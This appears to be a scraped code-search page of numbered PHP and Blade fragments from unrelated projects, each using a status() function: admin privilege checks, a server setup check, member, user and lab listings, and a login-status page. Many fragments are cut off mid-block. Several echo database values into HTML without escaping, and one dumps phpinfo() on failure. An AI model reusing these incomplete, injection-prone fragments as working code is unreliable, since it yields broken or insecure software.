if ($daoUser->inserir()) {
    print "ok";
}
if ($daoInstituicao->inserir()) {
    print "ok";
Esempio n. 23
0
include_once 'ressources/class.computers.inc';
include_once 'ressources/class.ocs.inc';
$user = new usersMenus();
if ($user->AsSystemAdministrator == false or $user->AsSambaAdministrator == false) {
    $tpl = new templates();
    $text = $tpl->_ENGINE_parse_body('{ERROR_NO_PRIVS}');
    $text = replace_accents(html_entity_decode($text));
    echo "alert('{$text}');";
    exit;
}
if (isset($_GET["popup"])) {
    popup();
    exit;
}
if (isset($_GET["ocsweb-status"])) {
    echo status();
    exit;
}
if (isset($_GET["popup-status"])) {
    popup_status();
    exit;
}
if (isset($_GET["ocs-resolve"])) {
    popup_status_resolve();
    exit;
}
if (isset($_GET["params-web"])) {
    params_web();
    exit;
}
if (isset($_GET["ocswebservername"])) {
Esempio n. 24
0
    status("checking server setup...");
    $f = fopen("/proc/loadavg", "r");
    if ($f) {
        $buffer = '';
        if (!feof($f)) {
            $buffer = fgets($f, 1024);
        }
        fclose($f);
        $loads = explode(" ", $buffer);
        if (strlen($buffer) == 0 || $loads <= 0) {
            //how likly is it to be 0
            fail("unable to read loadavg value - REQUIRED on non windows systems");
        }
    } else {
        fail("loadavg check failed - REQUIRED on non windows systems");
    }
} else {
    warn("possible windows system detected: site will skip loadavg check - NOT RECOMMENDED");
}
//////////////////////////////////////////////////////////////////
#todo? Database check... (and connect to sphinx/memcache etc...)
//////////////////////////////////////////////////////////////////
// END OF TESTING
// We show some diagnostics if any tests failed...
status("completed");
if (!$ok) {
    echo "<br><br><br><br>";
    phpinfo();
} else {
    echo "<li style=\"color:green;font-weight:bold;\">Server is correctly configured to run Geograph!</li>";
}
Esempio n. 25
0
	include_once('ressources/class.ini.inc');
	include_once('ressources/class.system.network.inc');
	include_once('ressources/class.squid.inc');
	include_once('ressources/class.ccurl.inc');
	include_once("ressources/class.compile.ufdbguard.expressions.inc");
	
	$user=new usersMenus();
	if($user->AsDansGuardianAdministrator==false){
		$tpl=new templates();
		echo "alert('". $tpl->javascript_parse_text("{ERROR_NO_PRIVS}")."');";
		die();exit();
	}	
	
	if(isset($_GET["page"])){page();exit;}
	if(isset($_GET["parameters"])){parameters();exit;}
	if(isset($_GET["status"])){status();exit;}
	if(isset($_POST["ufdbCatInterface"])){Save();exit;}
	tabs();
	
	
	
function tabs(){
	$tpl=new templates();
	$page=CurrentPageName();
	$users=new usersMenus();
	$sock=new sockets();
	
	$fontsize=18;
	$array["page"]='{APP_UFDBCAT}';
	$array["verify"]='{databases_status}';
	$AsCategoriesAppliance=intval($sock->GET_INFO("AsCategoriesAppliance"));
    <h1><a>Fedesipa SisCad</a></h1>
    <form id="form_1044499" class="appnitro"  method="post" action="">
        <div class="form_description">
            <h2> Painel de Controle</h2>
            <p>Lista de Associados.</p>
        </div>
        <div class="datagrid">
            <?php 
if ($query = mysqli_query($com, $sql)) {
    $linhas = 1;
    $rows = mysqli_num_rows($query);
    echo "Total de Associados: " . $rows . "  " . "Total Ativo: " . $totalAtivos;
    echo "<table><thead><tr><th>Nome</th><th>Status</th><th>Nº Cartão</th><th>Dep</th><th>Mensalidades</th><th>Editar</th></tr></thead>";
    while ($assoc = mysqli_fetch_assoc($query)) {
        echo "<tbody><tr><td>" . $assoc['nome'] . "</td><td>" . status($assoc['status']) . "</td><td>" . $assoc['registro'] . "</td><td>" . depedentes($assoc['rg']) . "</td><td>" . "<a href='#'>Mensalidades</a>" . "</td><td>" . "<a href='#'>Atualizar</a>" . "</td></tr></tbody>";
    }
    echo "</table>";
}
mysqli_close($com);
?>
        </div>
        <div id="footer">
    </div>
    </form>
</div>

<img id="bottom" src="../img/bottom.png" alt="">
</body>
</html>
</html>
Esempio n. 27
0
<?php 
if (status() == 1) {
    echo '管理者としてログイン中';
} elseif (status() == 2) {
    echo '来学予定者としてログイン中';
} elseif (status() == 3) {
    echo "在学生としてログイン中";
} elseif (status() == 4) {
    echo "卒業生としてログイン中";
} elseif (status() == 5) {
    echo "先生としてログイン中";
} else {
    echo "status()関数のエラー";
}
echo "<br>";
echo "status()の中身 = " . status();
echo "<br>";
echo "ユーザー名 : " . current_user('fullname');
echo "<br>";
echo "メールアドレス : " . current_user('email');
echo "<br>";
echo "留学期間 : " . current_user('start_day') . ' ~ ' . current_user('end_day');
echo "<br>";
echo current_user_image(100, 100, "circle");
?>

  <div>
    <a href="auth/logout">ログアウト</a>
  </div>
Esempio n. 28
0
@stop

<?php 
$name = 'name_' . App::getLocale();
$desc = 'description_' . App::getLocale();
?>

@section ('content')
<div class="row">    
    <div class="col-md-6 col-sm-12">   
        <h4>{{trans('labs.title')}}</h4>
        @foreach($result['labs'] as $lab)
        <div class="panel panel-default" style="background: #ECF0F1">
            <div class="panel-body">
                <?php 
if (status($lab->id)) {
    $color = "#1abc9c";
    $btn = 'btn-primary';
    $status = 'Disponível';
    $title = '';
    $txt = trans('interface.access');
} else {
    $color = "#f44336";
    if (admin() || guest()) {
        $btn = 'btn-danger';
    } else {
        $btn = 'btn-default disabled';
    }
    $status = 'Indisponível';
    $title = 'Este experimento está indisponível no momento';
    $txt = trans('interface.test');
Esempio n. 29
0
<?php

include '../setup.php';
require $root . '../../database.php';
$permission = loginCheck($session);
if ($permission != FALSE && status() == "voting" || $permission == "admin") {
    ?>
<div id="background" style="width:94%;background:#d5d5d5;padding:3%;">
  <div id="cards"></div>
  <div style="margin:auto;width:50%;display:flex;justify-content:space-around">
    <button type="button" id="submit" style="flex-basis:40%" >Submit Vote</button>
    <button type="button" id="withdraw" style="flex-basis:40%" >Withdraw Vote</button>
  </div>
</div>
<?php 
}
Esempio n. 30
0
                <tbody>
                    <?php 
foreach ($users['data'] as $user) {
    ?>
                        <tr>
                            <td>
                                <strong style="display:block;"><?php 
    echo $user->fullname;
    ?>
 </strong>
                                <?php 
    echo $user->email;
    ?>
                            </td>
                            <td><?php 
    echo status($user->active);
    ?>
</td>
                            <td><?php 
    echo date('Y-m-d H:i', $user->last_login);
    ?>
</td>
                            <td class="delete">
                                <a href="#" class="delete buttonUI">Set Status</a>
                                <a href="#" class=" buttonUI">Delete</a>
                            </td>
                        </tr>
                    <?php 
}
?>
                </tbody>